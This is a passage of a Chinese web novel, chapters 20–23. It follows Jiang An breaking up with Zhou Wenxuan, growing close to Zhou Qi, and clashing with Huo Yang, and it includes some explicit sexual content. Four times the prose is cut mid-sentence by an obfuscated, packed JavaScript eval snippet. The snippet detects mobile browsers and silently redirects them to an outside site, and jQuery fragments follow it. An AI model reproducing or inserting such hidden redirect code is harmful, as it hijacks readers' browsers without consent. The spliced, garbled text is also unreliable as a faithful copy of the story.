江安有些诧异,随即想到周齐这种身份,没来过也很正常,于是就更开心了:“那这么说,您是第一次过来吃了?” 周齐点头:“嗯。” 江安乐不可支地笑了起来:“那以后我可以带您出来吃更多的好吃的,都是你没吃过的。” 不等周齐说什么,那边就有人喊道:“98号?98号?” 江安立马挥了挥手:“这里,98号。” 服务员小妹将两份麻辣烫端过来,一碗红的,一碗白的。 小妹不好意思地道:“这汤底都是带点辣的,不过就一点,不是很辣。” “没事。”江安点头表示理解,从旁边抽了个一次性筷子拆开递给周齐,“尝尝?” 到底还是没吃过,看着碗里乱七八糟混在一起像是杂烩的东西,说实话,周齐其实并没有什么食欲。但看着江安期待的表情,还是接过筷子,“谢谢。” “好吃吗?”江安问。 很鲜,带着淡淡的麻和辣,味道竟然意外的不错。 他吞下嘴里的东西,淡淡地笑了起来:“还可以。” 江安心满意足地道:“那必须,这家可是我在吃了几十家麻辣烫以后,精挑细选出来的!” 话音刚落,江安手机突然响了起来。 手机是正面朝上放桌子上的,电话一响,两个人都看到了来电显示。 是周文煊。 江安蓦地一惊,突然想起来距离上次周文煊找他差不多过了半个月,不出意外的话他现在应该回来了。他下意识瞅了眼周齐,发现他原本还带着笑的脸上此刻只剩下漠然。 于是他当着周齐的面把电话挂断,故作无事地笑道:“快吃,一会要凉了。” 周齐擦了擦嘴,看向江安:“不接吗?” 话音刚落,电话就又响了起来。 还是周文煊。 周齐:“接吧,说不定有什么重要的事情呢。” 20. 第 20 章 江安看了眼周齐,放下筷子,毫不犹豫地再次挂断电话。为免周文煊再打电话过来,这次更是直接关了机。 “没事,不用理他。” 他将手机揣兜里,对周齐笑笑:“吃饭,吃完我们早点回去,今天外面还怪冷的。” 周齐看着江安这一系列操作,倒也没再说什么。 今年冬天似乎来得格外早,一出门就被冷风吹了满脸,刚刚积攒起来的那点热气也很快消散,余下的只有寒冷。 江安年轻,火气大,也没觉得多冷。倒是周齐,年纪比江安大了好几岁不说,身体也不好,风一吹手就冻得冰凉。 但江安没发现,并排走在他旁边,一边走还一边乐呵地道:“其实这附近还有不少好吃的,像什么炸串啊,烧烤啊,等再晚一点,街边上都坐得全是人,可热闹了。” 周齐靠在椅背上,随口道:“是吗。” 江安又说:“要不什么时候我们再过来,我带您尝尝这里的‘平民’美食?” 周齐对这些并不感兴趣,可有可无地应了一声。 聊天的时候如果其中一方总是没什么回应,这天也没法聊下去。江安觉得有些无聊,又有些闷气,又说了两句之后就没说话了。 沉默一直持续到回家。 相比于外面的寒冷,屋里可以说是温暖如春。 江安刚一进门就热得把外套脱了,回头见周齐也在脱外套,便上前帮他。 不料一伸手,就发现周齐被冻得冰凉的双手。他心里一惊,连忙将周齐双手握住,哈着气,轻轻搓着。 他蹲在周齐面前,抬头看他:“怎么这么冷?” 他想起回来的时候觉得有点热,把车窗开了在那吹风,心里不由得后悔起来。 “怎么都不跟我说?”他埋怨道,“冻得跟冰棍似的。” 周齐任由江安的动作,淡淡开口:“天一冷就这样,习惯了。” 江安动作一顿,下意识就要生气。但他发现自己似乎没有生气的理由,闷闷地给周齐把手捂暖,便起身回了房。 “我先去洗澡,身上一股麻辣烫的味道。” …… 半夜的时候,江安肚子又痛了起来,像是有刀子在里面搅。 他连忙跑到卫生间。 本以为只是单纯的吃坏肚子或者是受凉了,可他这边刚拉完没一会儿,肚子就又痛了起来,逼得他不得不又跑了一趟厕所。 就这么来来回回好几次,周齐终于被吵醒了。 他看着江安虚脱的样子,突然想起什么,开始穿衣服:“走,去医院。” 江安瞪大双眼,刚想拒绝,结果肚子里又是一阵绞痛。 “应该是胃肠炎又犯了。”周齐把衣服扔给他,打电话给周宽。 到了医院,等挂上水了江安才觉得好点。 医生问晚上吃了什么,听到说是麻辣烫的时候顿时气得吹胡子瞪眼,把江安狠狠骂了一通。 “出院的时候我跟你说了多少遍,饮食清淡,忌辣忌冷,结果好了,你这竟然还给我吃上麻辣烫了?我看你是真不把自己的身体当回事!” 江安自知理亏,低头任骂。 等医生走后,他捂着自己仍旧隐隐作痛的肚子,思来想去,最后还是没忍住,埋怨地看着周齐:“怎么也不提醒我一下?” 周齐给他倒了杯热水,听不出什么情绪地道:“忘了。” 江安闭上眼,缩进被子里。 “医生说喝热水会舒服点。”周齐说道。 江安爬起来就着周齐的手喝了点水。也不知道是不是心理作用,好像真的舒服了点。 他抿了抿唇,看着周齐,本来想说什么,可犹豫半天,最后还是什么都没说。 看了眼时间,已经快四点半了,距离天亮还有不到两个小时。 这几天周齐一直陪着江安,都没去公司,江安也不好意思再让对方陪他,只催促着他赶紧去隔壁睡会,不然明天没精神。可等周齐走后,他又开始后悔,甚至有想把周齐叫回来的冲动,但思来想去,最后还是放弃。 一个人躺在病房里,总觉得心里头不是滋味。他在床上翻来覆去了好久,终于在天刚蒙蒙亮的时候,睡着了。 * 这一觉直接睡到了中午,是被尿憋醒的。 解决完生理需求,门一开就看到了江覃。 愣了一下,想起来江覃应该是被叫过来签字的,毕竟除了江博瀚,他就只剩下江覃这么一个亲人了。 可这次江覃见到他没有大呼小叫,反倒是在那对他挤眉弄眼,古里古怪。 “发病了?”江安觉得他有病,走过去往床上一躺,无情地道,“这边建议出门左拐,去楼下挂个精神科。” 江覃难得的没跟他吵,冷笑一声,一屁股坐了下来。 江安闭上眼打算再睡会,耳边却传来一道熟悉的声音。 “小安?” 江安猛地睁开眼,转头望去。 却见周文煊不知什么时候来了,就站在窗前,刚刚他甚至都没注意到。他穿着件驼色的中长款风衣,里面是一件黑色高领毛衣,蓬松的头发软软地搭在额头上,一副人畜无害的样子。 半个月没见,江安竟然有种恍若隔世的感觉。 他转头看向江覃,江覃耸耸肩,一脸的无可奈何:“你们聊你们聊,别管我,就当我不存在。” 江安突然想到什么,把手机开机,发现竟然有几十个未接电话和短信。打开一看,全是周文煊。 顿了顿,神色复杂地看向周文煊:“你怎么来了?” 周文煊心中不好的预感愈发强烈,明明心里想问的有很多,但又怕江安生气,纠结半天,最后还是装作什么都不知道的样子,起身走过去,担忧地道:“听说你生病了,我很担心。” 看到江安手机上一连串的未接电话,他垂下眼睛,抱歉地道:“对不起,昨天没联系上你,我太担心了,所以……” 见江安似乎没在听,话又说不下去了。 他抿了抿唇,心中愈发不安,却仍在强颜欢笑:“对了,我给你带了个礼物回来,但是忘家里了,要不过两天我们— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861119|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —” 江安回过神来,直接打断他的话:“正好你今天过来,有些话可能当面说会比较好。” 周文煊动作一顿,笑容僵在脸上:“……什么话?” 江安:“分手吧。” 周文煊脸色直接变了,眼睛里满是不可置信,努力扯着嘴角,像是没听清一样,艰难地重复了一遍:“分、手?” 江安闭上眼,将手机扔在一边,应了一声:“对,分手。” 这下周文煊再也装不下去了,脸色陡然间变得难看起来,心更是沉到了谷底。 其实半个月前他去找江安的时候,就已经隐隐觉得不对劲了,可当时的他并不知道是哪里不对劲,只是觉得那时候的江安好像离他很远。他装作若无其事地和江安接触,而江安的反应似乎也没什么异常。 可心里的感觉不会骗人。 没过多久他就收到消息,说江安被周齐接回了家。 他却仍心存幻想地去问江安。当时江安的回复是,他在家。他信了。 “为什么呢?”周文煊强打着精神问,“为什么要分手?你总要给我一个理由。” 江安认真思考了一下:“没什么,就是不喜欢了。” “不喜欢?”周文煊低着头喃喃自语,明明在笑,看起来却像是在哭,“是因为周齐吗?” 江安觉得自己没有隐瞒的必要,直接承认了:“是。” …… 周文煊走后,江覃跑出去看了眼,又做贼似的把门锁了起来。 江安听到动静,头也不抬地道:“锁门做什么?谋杀亲弟啊?” 没理会他的阴阳怪气,江覃走过去坐在床边,认真地看着他:“江安,你这次是来真的?” 江安装傻:“什么真的假的?” 江覃急了:“就你和周齐啊!你之前不喜欢周文煊喜欢得要死要活?怎么,现在和周齐在一起,就不喜欢了?”他摇摇头,难以置信地看着江安:“江安,我认识的江安绝对不会是这样的人!” 江安听他说完,反问道:“那你觉得我是什么样的人?深情?专一?”说着说着就讽刺了起来:“为了爱情能赴汤蹈火?牺牲一切?” 江覃语塞:“我……” 江安突然又笑了起来,嘲弄地看着他:“江覃,人呢,有时候还是得有点自知之明的,千万不要以为自己有多聪明,多了解别人,不然啊,说出来的话只会让人觉得好笑。” 闻言江覃直接就怒了,一把揪住江安的衣服:“江安!周齐多大你多大?你了解周齐吗?啊?!” 相比于江覃的愤怒,江安倒是很冷静,不屑地看着他:“我不知道,你知道?” “好好好!”江覃被气笑了,他深吸了口气,突然问道,“你知道周齐每年都会去一趟嘉茂吗?” 嘉茂是一个北方的城市,离他们很远。江安知道,周齐在那边开了家公司,每年都会抽时间去一趟。 这时候江覃又平静下来了,从口袋里摸了根烟出来咬着,也不点:“有人跟我说,那边风景很好,没事可以去转转。” 21. 第 21 章 “医院禁止抽烟。” 江安抽走江覃嘴里的香烟,扔进垃圾桶,嘲笑他:“嘉茂的风景确实不错,正好马上就是冬天了,我可以考虑考虑去那边滑雪。” 见江安似乎仍不知悔改,江覃气得手直抖,指着江安“你你你”了半天,愣是一个字都没说出来。最后直接摔门出去,还被路过的护士骂了一通。 江安躺在床上哈哈大笑,没想到江覃走了还没一分钟,就又跑了回来,指着江安破口大骂:“江安你就等着吧你!到时候别后悔就行!” 说完又扭头走了。这次倒是没摔门,估计是怕再被骂。 等江安笑够了,揉了揉笑酸的嘴角,从床上爬起来倒了杯水。看着杯壁上印着的“仁心医院”图样,又想起之前周齐来医院看自己,嘴角不由得轻轻勾起。 他突然就想给周齐打个电话。 可手机刚拿起来,又想起自己似乎一直都忘了问周齐要联系方式。而现在用的这个手机号,还给周齐发过奇怪的短信。 顿时又纠结了起来。 怎么能忘了这么重要的事? 不过周齐好像也没提过。 是真的被拉黑了吗?又或者是直接被屏蔽到垃圾箱了? 江安灵机一动,抱着试一试的心态,又编辑了一条短信。 【为什么不来看我?工作有我重要吗?】 没有暴露信息,看起来像是一个吃醋的女生,发信息向男朋友抱怨。就算周齐看到了,应该也不会多想,只会认为是对方发错了。 为了看起来更像女生的口吻,他想了想,又在后面加了个“QAQ”的表情符号,看上去更可爱,像在撒娇。 信息发出去后,江安不可避免地紧张起来,心脏怦怦乱跳,有种第一次谈恋爱的紧张感。 一分钟,两分钟,三分钟…… 江安盯着手机等了十分钟,并没有收到回复。 松了口气的同时,还是忍不住失望。 “工作真忙啊……”他自嘲道。 不过很快他又重新打起精神,又编辑了条短信发过去。 【为什么不回我信息?你是不是心里有别人了?!嘤嘤嘤我要闹了!】 看着发出去的信息,江安浑身一个激灵,搓了搓手臂,感觉鸡皮疙瘩都掉了一地。 “我怎么会说出这么嗲的话……” 却还是忍不住笑了起来,也不知道周齐能不能看到。 “咚咚咚” 这时突然传来敲门声。 江安被吓了一跳,手机都差点扔出去,抬头见是周宽,手上还拎着个保温桶。 心下一松,不由得抱怨道:“怎么进来都没个声儿?” 周宽疑惑地看了看房门,心想自己刚刚不是敲门了吗?不过他没兴趣和江安拌嘴,走过去把保温桶放在床头,“你的午饭。” 看了眼时间,不知不觉已经快一点了。 江安眼珠子转了转,问道:“是他让你送过来的?” 之前在医院的时候他吃的都是医院准备的病号餐,虽然健康,却实在是寡淡无味,不然他也不至于满脑子都是火锅麻辣烫,导致现在又躺在了这。 他打开盖子,顿时一股鲜香扑鼻而来。是皮蛋瘦肉粥。 虽然没有明说,但周宽还是一下子就猜到江安指的是谁:“嗯。” “是他做的?”话刚说出口江安就摇摇头,笑了,“是陆阿姨做的吧。” 就周齐那个厨艺,让他煮一锅白粥都费劲,更别提皮蛋瘦肉粥了。陆阿姨就是一直过来做饭的那位阿姨,手艺很好,什么都会,这粥煮得这么香,应该就是陆阿姨做的。 果不其然,周宽应道:“嗯,你先吃,吃完了就放旁边,我一会过来拿。” 江安点点头:“哦。” 这么久没吃饭,江安肚子里早就空荡荡的了,本来还没什么感觉,现在闻到这个香味馋虫都被勾了出来。他放下床头的小桌板,抱着保温桶就这么吃了起来。 粥被煮得很软烂,绵密黏稠,再配上皮蛋和瘦肉的鲜香,吃起来那真叫一个顺滑爽口,回味无穷。 其实江安是不爱吃皮蛋瘦肉粥的,觉得味道很怪,现在想想,应该是做得不够好吃。特别是想到这份粥是周齐特意让人做的,吃起来就更香了。 应该是不生气了吧?江安心想。 …… 夜里吊了一瓶水后,接下来的一整天江安都没再出现不舒服的症状。下午的时候,医生给他开了点药,便放他回去了。 临走时还在那苦口婆心:“至少一个星期,给我忌嘴,千万别再吃这些东西了,饮食一定要以清淡为主,什么冷的辣的刺激的,一口都不能吃!” 江安连连点头,就差指天发誓。 回去的时候又是周宽送他。 看着前面开车的周宽,江安难得的感觉心里有些过意不去,总觉得这两天周宽不是在开车就是在开车的路上,就连睡觉也要被电话喊起来开车。 其实上辈子的时候,江安后来和周宽处得还不错,只是这辈子也不知道怎么的,周宽好像就看不爽他一样,只要周齐不在,就没给过他好脸色。 趁着现在车里只有他们两个,江安问道:“周宽,你是不是特别讨厌我?” 没想到周宽甚至连犹豫都没有就直接点了头:“是的。” 江安:“……” 行吧。 那就不说别的了。 周宽这种人,其实脑子里就一根筋,对喜欢的人很好,对不喜欢的人就是现在这种态度。反正日子还长,上辈子他既然能和周宽做朋友,以后也会。 车开到半路,江安看着外面几乎完全黑下来的天空,突然问道:“他在公司吗?” 周宽看了眼后视镜:“周总今天很忙。” 言下之意就是现在还在公司。 江安冲着后视镜笑了笑:“那我能不能不回家?我想去公司找他。” 周宽动作一顿,虽然什么都没说,却在下一个路口往右拐了。那是去周齐公司的方向,江安记得。 相比于市中心那座浮夸的三塔连体式建筑,周齐的这栋办公大楼看起来也并没有多低调。 靠近市中心,但交通又不会过于拥堵,出门走两百米就是地铁站。主体由一座高达56层的主楼,以及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861120|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地面7层,地下5层的裙楼组成,于五年前全部完工,是一座超甲级的现代综合商务建筑。和不远处市中心的那座建筑隐隐形成了对立之势。 以前江安就有吐槽过,觉得设计得太过奢华,完全不像周齐的风格。结果没想到,大楼主体的设计部分,竟然是由周齐牵头完成。 整座大楼共有数百家公司入驻,涵盖多种行业,每年光房租都是一个天文数字。这也是上辈子江安继承了周齐的遗产后才知道的。 周齐的办公楼在顶楼,一个很符合大老板身份的楼层。 没有身份牌想进去很难,不过好在周宽带路,楼下保安看到就屁颠屁颠地跟了上来,给他开门刷卡。 毕竟是周齐身边的大红人,大家都巴结着他。 跟着周宽进电梯后,江安无聊地数着电子屏幕上的楼层,觉得有时候住太高好像也不是那么好。就比如电梯里人来人往,想去最顶层要花好一会工夫。 “周总现在在开会,我先带你去休息室。”周宽说道。 其实就是不想让江安去周齐办公室。 江安心里清楚,不过他并不在意,无所谓地点点头:“哦。” 周宽脸色又沉了点,看得江安想笑。 电梯好不容易停在56层,江安跟在周宽身后,来到了熟悉的休息室。 周宽还有工作要忙,嘱咐江安待在这别乱跑就走了。江安抬头看到角落里的摄像头,冲着摄像头挥挥手,龇牙笑了。 和他预想的差不多,在喝完了两杯茶后,周齐终于姗姗来迟。 也许是刚开过会,又或许是刚训过人,周齐身上还带着一股冷厉的上位者气息,让江安想到了江博瀚。只不过江博瀚自然不能和周齐比,他喜欢把这样的周齐扑倒。 在见到江安后,周齐身上的冷意少了点,操控着轮椅来到江安面前:“怎么突然过来了?” 江安答:“想你了。” 这个理由很有说服力,周齐一时语塞。 江安又道:“你上次说,如果我想见你就可以告诉你,那么我由此延伸一下,如果我想见你,是不是也可以直接过来找你?” 江安举一反三的能力一向不错。 周齐定定地看了江安一会,突然笑了:“你说得没错。” 现在已经快七点了,两人都还没吃饭,江安正打算说什么,周齐抢先道:“一个小时前我打电话让陆阿姨迟点做饭,现在回去正好能赶上。” 江安眨眨眼,无辜地看着他:“哦。” 所以他过来等半天,就是为了接周齐回家吗?好像也不是不可以。 江安遗憾地看着周齐,其实他还挺喜欢玩一些办公室play的。 回去的路上两人一人坐一边,有一搭没一搭地聊着,气氛虽不至于尴尬,却总不如之前好。 江安转头看了眼周齐,开口道:“周文煊以后不会再找我了。” 没想到江安突然提起这个人,周齐愣了一下,平静地点头:“嗯。” 江安把屁股挪过去,握住他的手,一双水润又无辜的大眼睛就这么看着他:“所以,今年冬天,我们去嘉茂过年吧。” 22. 第 22 章 “怎么想起来去嘉茂了?那边很冷。”周齐顿了下,问道。 江安仔细观察着周齐的表情,见他和平时一样,又靠了回去,低头摆弄着周齐的手指头:“哦,我下午躺床上刷视频来着,刷到有人在那滑雪,就突然想去了。” 周齐任由他摆弄:“去那边过年的话,也行。” “真的吗?”江安惊讶地道,“我还以为你不会答应。” “为什么这么觉得?”周齐问。 “唔……”江安沉吟片刻,表情严肃地看着周齐,“我以为你生气了。” 周齐:“生气?” 江安叹了口气,眨巴着眼睛看他:“对啊,看你昨天都不爱搭理我了,难受。” 说出来的话也不知道几分真几分假,反正听在周齐耳朵里,倒像是在撒娇。 倒是挺新鲜的。所以他也不吝于给一些奖励。 从口袋里掏出一张卡,递给江安:“我每个月会往这里面打一笔钱。” 没说是做什么用的,但江安明白,这就是周齐给自己的包养费。上辈子也有,甚至连卡都是同一张。 他笑眯眯地接过,宝贝似的塞进口袋,表现得更加贴心了:“周总您真好。”说完便凑上前在周齐脸上亲了一口,“以后我一定会乖乖的。” 周齐没说什么,倒是前面的周宽没忍住咳嗽了一声。 江安见状关心地道:“最近降温挺厉害的,多穿点,小心感冒。” 周齐不由得多看了江安一眼,江安则回以一个大大的笑脸。 公司离家不远,这个点也过了晚高峰,车子开了十几分钟就到了。 一进门江安就迫不及待地转身抱住周齐。 他亲了亲周齐微凉的侧脸,撒娇似的问:“现在可不可以?” 年轻人火气大,周齐也理解,不过现在不是讨论这个问题的时候。他拍了拍江安,对他道:“先吃饭。” 但江安突然间变得格外黏人,他直接蹲在周齐面前,趴在他腿上,侧着头,看着周齐的手指尖。然后凑上前亲了一口,又用唇含住:“不饿。” 声音黏黏糊糊的,像在暗示着什么。 冰冷的指尖触碰到柔软滚烫的舌尖,周齐下意识往后一缩,低头就看到江安无辜的表情。 江安:“您是不是不喜欢我了?” 周齐轻抚着他的头发:“喜欢的。” 江安又问:“有多喜欢?” 这个问题的答案太过宽泛,周齐没法回答,只是笑着对他道:“吃饭了。” …… 陆阿姨从厨房出来,将最后一盘菜端上桌。 “周先生说你最近肠胃不好,我就煮了点南瓜粥,山药羹,还做了点胡萝卜饼,快趁热吃。” 其实江安现在没什么胃口,但经历了昨晚的事情,他也不敢再乱来,坐下来对陆阿姨笑笑:“谢谢。” 江安给周齐盛了一碗南瓜粥:“我以前吃过,甜甜的特别好吃。” 周齐对他道了声谢,接过筷子。 江安又给他夹了个胡萝卜饼,夸道:“其实我不喜欢吃胡萝卜的,但是陆阿姨做得这个好香,好好吃,一点胡萝卜的怪味儿都没有。” 周齐咬了一口,轻轻点头。 江安咬着筷子眼珠子一转,问道:“要不要来点山药羹?我再去拿一个碗。” 周齐抬头看着江安,终于开口道:“江安,先吃饭。” 周齐很少会直接喊江安名字,一般这时候都代表着他不怎么高兴了。江安识趣地没再说话,埋头吃了起来。 可吃着吃着,他又不安分了。 “那个……” 周齐放下筷子,擦了擦嘴:“你想说什么?” 江安抿了抿唇,满眼期待地看着周齐:“我想亲你。” 周齐没说话,他也没说话,只是静静地看着对方,看起来倒是难得的乖巧。 过了良久,周齐才重新拿起筷子,“等吃完饭。” 算是答应了。 江安眼睛一亮,三两口就将碗里的南瓜粥喝完,鼓着个腮帮子,看向周齐。 周齐终于败下阵来,向后靠着,无奈地笑了。 不得不承认的是,江安身上有很多吸引他的特质,也许是他的脸,也许是他的性格,又或许是一些别的什么。 周齐时常在想,把江安弄到身边这件事情到底是不是对的。但在他死气沉沉的生命中,突然多了这么一个鲜活且有个性的人,从某方面来说,也是一件好事。 “在想什么呢?”江安惩罚性地咬了咬他的下巴,故作不满,“都不认真。” 周齐回过神来,笑他:“可能是你不够用力。” 没有哪个男人能在这时候原谅伴侣的嘲讽。 于是江安把他双腿架在肩上,一手扶腰,一手握紧,直把周齐逼到求饶,才肯放过。 江安喜欢周齐的这双腿。 和正常人的腿不一样,它瘦弱,苍白,无力,细得不像话。 其实在之前的很长一段时间里,周齐都是有请专门的护工做康复锻炼的。心里还抱着一丝侥幸,说不定什么时候他就能站起来了,可时间一长,希望变成了失望,周齐也没有再做过类似的锻炼。于是这双腿就变得越来越瘦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861121|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越细,就像现在这样。 但到底是比几年后来得好。 江安低头轻吻着他的腿侧:“要不要找护工做定期锻炼?” 周齐懒懒地躺在床上,看着天花板上的水晶吊灯,眯了眯眼睛,轻声道:“没必要。” 他捏着江安的下巴,让他再来一遍。 * 日子就这样不咸不淡地过着,江安和周齐的相处似乎也愈发融洽起来。 白天周齐去上班,江安就在家睡觉打游戏,等周齐晚上下班,回来得早还能一起吃顿晚饭,如果加班回不来,江安就会带着陆阿姨做好的饭菜去公司找他。 周宽给江安办了张员工卡,因着是周宽亲自吩咐的,门口值守的保安每次看到他都格外热情。江安去公司从来都不避着人,周齐似乎也无所谓,于是时间久了,大家就都知道周齐养了只漂亮又黏人的金丝雀。 江覃有打电话跟他说过,不仅是周齐公司里的人知道,就连圈子里的其他人也都知道了。他们不敢在周齐面前说,背地里却说江安是个出卖身体的贱货,气得江覃牙痒痒。 江安对此倒是看得开,这些事情上辈子他都经历过一遍了,只是对江覃道:“如果给他们爬床的机会,他们爬的只怕会比我快得多。” 江覃一想,觉得也是这么个道理。 电话挂断之前,江覃难得的在江安面前提起了江博瀚。可说起来的时候又有点犹豫,支支吾吾的。 江安一听就知道肯定不是什么好事,说自己不想知道。左右他现在也和江博瀚没什么关系了,毕竟当初是江博瀚亲口说,他现在属于周齐,那么他自认为自己现在已经不属于江家,也不是江博瀚的儿子了。 结果江覃告诉他:“他要娶一个女人回家。” “叮” 电梯门打开,保安在旁边讨好地笑着:“江少您请进。” 江安的思绪从回忆中抽出,对保安笑了笑,进了电梯。 随着电梯楼层数字不断升高,江安又不可避免地想起前两天和江覃打的那通电话。他虽然不在乎江博瀚是死是活,但江博瀚怎么能背叛他的母亲?难道所谓的海誓山盟所谓的此生挚爱,都是假的? 江安简直想笑,也非常想冲到江博瀚面前,问他那个女人到底是谁。 这样一种割裂的情感时不时地出现在他心头,让他整个人都魂不守舍。 一出电梯门就撞到了人。 “走路不长眼睛啊?!” 江安下意识想道歉,抬头一看,竟然是有段时间没见的霍阳。 顿时愉悦地笑了:“呀,这不是阳哥吗?” 23. 第 23 章 霍阳看起来有些狼狈,见到江安直接冷笑了起来:“江安?没想到竟然这么冤家路窄?怎么?来找周齐啊?看来你把他服侍得不错,竟然都能让他为你做事了?” 江安拍了拍衣服,站直身子,不解地看着他:“阳哥你在说什么?我是谁,周总是谁?我这样的小角色又怎么能让周总为我做事呢?阳哥你可不要污蔑我。” 说着说着他又叹了口气,上前拍拍霍阳的肩膀,好声好气地道:“倒是阳哥你,怎么看着起来……”他看着霍阳有些凌乱的衣服,突然笑了起来:“怎么这么狼狈啊?” 此话一出,霍阳怒极反笑。 他一把将江安拍开,用一种下流的眼神打量起了江安:“我狼狈?哈,那也比不上你吧?你看看你,好歹也是个男人,竟然能做出这种事,真是让人瞧不起。” 江安看了看自己的衣服,无辜地道:“阳哥你在说什么呢?我做什么事了我?” 闻言霍阳更来劲了,恨不得用最恶毒的话侮辱他:“怎么?你做得那些龌龊事还要我来说?你平时是怎么在床上服侍周齐的你自己心里清楚,一个男人,为了点钱竟然愿意被另一个男人上,你说你恶不恶心啊?难不成是被周齐给草上瘾了?” 这话说的毫不留情,可江安脸上的笑容却一点没少,反而还更灿烂了:“阳哥你说的是,我就是被周齐给草上瘾了嘛,一天不跟他上床就浑身难受。”说罢他又轻啧一声,笑着道:“可是……我这也是凭本事上的周齐的床,说不定某些人,想上别人的床,都还上不去呢。” “你!”霍阳闻言脸色一变,下意识理了理衣服,像是被戳到了痛处,“江安你在说什么胡话?信不信我把你嘴给撕了?!” 江安见状心里一惊,眼神微闪,无辜地耸耸肩,又笑了起来:“算了算了,我今天还有事,就不跟阳哥叙旧了,等哪天有空了,到时候我做东,我们再好好地聊一聊。” 霍阳脸色铁青,显然还想说些什么,却突然板起脸,转身就走:“江安你等着,下次再让我见到你,我一定要把你给弄死!” 江安嗤笑一声,毫不畏惧地回道:“那我等着啊。” 霍阳这是什么意思?难不成他还真想爬周齐的床?如果他不是来爬床的,衣服怎么乱了?为什么会因为他随口的一句话就反应这么大? 面上虽然还带着笑,但江安心底已经不爽了起来。 随着电梯门被关上,身后也传来一道熟悉的声音:“平时看你在周总面前装得倒是挺像那么一回事,没想到背地里竟然是只嘴毒的刺猬。” 刺猬?之前霍阳也是这么形容他的。 江安压下心中不爽,笑眯眯地转过身,看向周宽身后的地方:“宽哥啊,周总现在有空吗?” 这里是大厦的最顶层,毫不夸张地说,这一整层都是周齐的办公室,最里面甚至还有一间健身房,只不过已经很久不用了。想要到这一层,是需要刷特质的卡的,而霍阳会出现在这里,显然是周齐安排人带他上来的。 周宽翻了个白眼,没好气地道:“你就不怕我把你刚刚说的那些告诉周总?” 江安眨眨眼睛,无辜地看着他:“可是我刚刚说的都没错啊,我喜欢和周总上床,有什么毛病吗?” 周宽语塞。 一只金丝雀,喜欢和老板上床,好像确实没什么毛病,甚至还值得嘉奖。 “真应该让周总看看你刚才的嘴脸。”周宽不满地道。 “什么嘴脸?”江安故意问道,“狐假虎威的嘴脸吗?说不定周总还会挺高兴的。” 周宽吵架从来就没有吵过江安,闻言更是气得不行,干脆直接甩脸走人。 江安在后面追:“宽哥你慢点走,难道不是周总让你过来接我的吗?” 想到周齐之前让自己过来看看,怕江安吃亏,周宽又气不打一处来,却还是耐着性子放缓了脚步:“今天周总这边有客人,你说话注意着点。” 江安笑眯眯地跟上,心中倒起了疑惑。 有客人?周齐的客人和他有什么关系?他要注意什么? 可很快他就知道为什么了。周宽把他带到了周齐办公室。 而周宽说的客人,竟然是孙文,就在办公室里。 他疑惑地看向周宽,周宽却理都不理,一副公事公办的样子。他抿了抿唇,走到孙文面前,乖巧地喊了声:“孙总。” 孙文也没什么架子,温柔地道:“不必客气,坐下来说话。” 孙文也是一方权贵,主要业务都在京市,倒是不常过来。江安只知道孙文和周齐认识,却不知道他们的关系……看起来似乎还挺好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861122|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知怎么的,他突然就有些嫉妒。 孙文比周齐还要再大上那么两岁,人看起来也成熟很多。孙文的长相不如周齐那般精致,也不像江安这样漂亮张扬,他看着总是温温柔柔,嘴角永远都带着一抹笑,可偏偏就是这样的人,在商场上的手段比周齐还狠。 但不论是这辈子还是上辈子,他都和孙文不熟,两人面对面坐着,倒还有些尴尬。江安给自己倒了杯茶,坐在孙文对面,将思绪藏进心底。 却不料孙文主动开口:“你刚刚应该见到小阳了吧?” 江安心里一惊,故作疑惑地问道:“您是说霍阳吗?我刚刚确实在电梯口见到他了。” 闻言孙文轻笑一声,揉了揉眉心,无奈地道:“小阳年轻,脾气又不好……”话音一转,又道:“我听说,你们之间好像有些矛盾?” 江安下意识去看周宽,却不知周宽什么时候竟然走了,办公室里就只剩下了他和孙文两个人。周齐呢?不在办公室吗?也不知道是不是在忙,把他撂在一边就算了,竟然把孙文也撂在一边?还有,孙文说的这些话又是什么意思? 